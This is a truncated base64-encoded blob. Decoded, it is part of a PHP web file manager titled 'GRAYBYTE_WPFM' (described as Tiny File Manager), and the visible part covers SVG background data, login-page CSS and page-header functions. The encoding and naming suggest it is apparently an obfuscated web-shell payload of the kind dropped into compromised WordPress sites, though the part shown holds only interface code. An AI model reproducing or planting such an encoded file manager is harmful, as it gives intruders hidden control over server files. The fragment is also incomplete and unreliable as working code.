tMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAg